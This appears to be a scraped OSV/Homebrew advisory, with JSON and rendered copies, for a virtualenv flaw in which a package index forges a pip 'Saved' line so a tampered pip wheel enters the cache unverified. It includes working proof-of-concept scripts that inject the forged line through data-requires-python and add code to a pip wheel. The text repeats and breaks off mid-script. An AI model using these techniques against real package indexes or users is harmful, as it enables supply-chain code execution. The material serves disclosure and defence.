\u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-pdm-CVE-2026-113714",
"modified": "2026-10-29T21:44:05Z",
"published": "2026-10-26T09:36:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-PIPENV-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:13 – Updated: 2026-10-30 08:53 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.15.1",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "pipenv",
"purl": "pkg:brew/pipenv"
},
"ranges": [
{
"events": [
{
"introduced": "2026.8.0_1"
},
{
"fixed": "2026.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.15.1",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.15.1"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / 